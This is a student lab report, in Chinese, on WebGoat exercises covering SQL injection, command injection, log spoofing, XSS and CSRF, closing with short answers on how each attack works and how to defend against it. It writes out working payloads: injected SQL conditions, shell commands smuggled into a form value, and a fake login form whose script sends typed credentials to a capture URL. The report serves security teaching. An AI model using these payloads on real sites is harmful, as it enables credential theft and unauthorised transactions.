2018-2019-2 网络对抗技术 20165225 Exp9 Web安全基础
2018-2019-2 网络对抗技术 20165225 Exp9 Web安全基础
-
实践内容
-
本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。
-
报告内容
-
WebGoat
-
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入、访问控制、隐藏字段、Cookie等。
-
因WebGoat默认使用8080端口,所以开启前先用
netstat -tupln | grep 8080
查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程。
普通安装,命令行输入java -jar webgoat-container-7.0.1-war-exec.jar
-
浏览器转:
localhost:8080/WebGoat
直接用默认用户名密码登录即可,开始练习 -
SQL攻击
-
SQL字符串注入(String SQL Injection)
-
让我们试一试使用SQL注入,从而显示出所有信用卡号。可以先输入Smith试一试,发现出现在
SELECT * FROM user_data WHERE last_name = 'Smith'
两个单引号中间,也就是我们可以通过控制在输入框中输入的字符串,达到控制select语句的目的 -
命令注入(Command Injection)
-
右键点击页面,选择
inspect Element
审查网页元素对源代码进行修改,在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加"& netstat -an & ipconfig" -
点击view,可以看到执行指令后的网络端口使用情况和IP地址。
-
数字型SQL注入
-
根据其SQL语句
SELECT * FROM weather_data WHERE station = [station]
,在填入的字段中注入特征字符,查看所有的天气数据。
右键复选框,选择inspect Element
,然将value ="101"
改为value ="101 or 1=1"
,其值对应的是Columbia
,修改完成后选择该选项,然后点击Go!即可查看所有天气数据。 -
日志欺骗(Log Spoofing)
-
前提:本题目接受用户输入的任何一个用户名,并将其追加到日志文件中。
-
利用入回车(0D%)和换行符(%0A),在
username 中填入sxx%0d%0aLogin Succeeded for username: admin
-
命令注入攻击
-
尝试给操作系统注入命令行,要求能够在目标主机上执行系统命令,通过火狐浏览器的
inspect Element
对源代码进行修改,右键点击BackDoors.help
,这样就可以直接定位到需要修改的位置,无需一行一行代码的查看了 -
例如在
BackDoors.help
旁边加上"& netstat -an & ipconfig"
-
view
-
XSS攻击(Cross‐Site Scripting)
-
XSS 钓鱼
-
利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
受害人填写一个表格;
服务器以读取脚本的形式,将收集到的信息发送给攻击者。
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat -
编写一个带用户名和密码输入框的表格
//脚本
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
-
点击登录,WebGoat会将输入的信息捕获并反馈回来
-
存储型XSS攻击
-
要求创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
在Message中构造语句,提交后,可以发现刚刚创建的帖子hello,点击后结果为 -
反射型XSS攻击
-
输入代码
<script>alert("hhhhh You've been attacked!!!");</script>
,点击purse的同时页面就给出了反馈 -
CSRF攻击
-
跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
-
查看页面右侧Parameters中的src和menu值,分别为267和900
在title中输入任何参数,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
在Message List
中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。可以从左侧的任务栏看到任务已完成。 -
查看页面下侧Parameters中的src和menu值,命名title,message框中输入代码:
<iframe src="attack?Screen=[scr]menu=[menu]&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=[scr]&menu=[menu]&transferFunds=CONFIRM"> </iframe>
-
左侧的任务栏看到任务已完成
-
回答问题
-
1.SQL注入攻击原理,如何防御?
-
原理:SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。如:在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。 -
防御:
关闭或删除不必要的交互式提交表单页面;
对漏洞注入点相关代码进行关键字的过滤(如:利用正则表达式),以规范代码安全性;
不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点;
将数据库里的内容进行加密处理使其不具有特殊的意义。 -
2.XSS攻击的原理,如何防御?
-
原理:XSS:跨站脚本。攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本(如:html标签或者javascript代码)的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
-
防御:
用户角度:提高防范意识,不要轻易输入个人信息,如用户名密码;
网页制作者角度:
对输入和URL参数进行过滤
在输出数据之前对潜在的威胁的字符进行编码、转义 -
3.CSRF攻击原理,如何防御?
-
原理:
-
CSRF :跨站请求伪造。
CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器. -
主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
-
防御:
-
验证请求中的Token
-
验证 Referer
-
添加加随机验证
-
设定cookie域
-
实验感想
-
最后一个了!!